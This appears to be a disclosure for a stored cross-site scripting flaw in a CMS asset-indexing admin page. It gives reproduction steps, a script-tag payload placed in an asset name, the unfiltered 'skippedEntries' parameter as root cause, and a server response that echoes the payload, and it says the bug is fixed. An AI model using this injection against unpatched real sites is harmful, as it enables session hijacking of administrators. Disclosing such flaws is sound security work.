Summary

XSS can be triggered by review volumes

PoC

1. Access setting tab
2. Create new assets
3. In assets name inject payload: "<script>alert(1337)</script>
4. Click Utilities tab
5. Choose all volumes, or volume trigger xss
6. Click Update asset indexes.
7. Wait to assets update success.
8. Progress complete.
9. Click on review button will trigger XSS

Root cause

Function: index.php?p=admin/actions/asset-indexes/process-indexing-session&v=1680710595770
After loading completed, progess will load:
"skippedEntries"
and
"missingEntries"
These parameters is not yet filtered, I just tried "skippedEntries" but I think it will be work with "missingEntries"

My reponse:

{
"session": {
"id": 10,
"indexedVolumes": {
"6": ""<script>alert(1337)</script>"
},
"totalEntries": 2235,
"processedEntries": 2235,
"cacheRemoteImages": true,
"listEmptyFolders": false,
"isCli": false,
"actionRequired": true,
"dateCreated": "Apr 5, 2023, 9:03:16 AM",
"skippedEntries": [
""<script>alert(1337)</script>/assetpreviews/Image.php",
""<script>alert(1337)</script>/assetpreviews/Pdf.php"
],
"missingEntries": {
"folders": [],
"files": []
},
"processIfRootEmpty": false
},
"skipDialog": false
}

Resolved in 053d711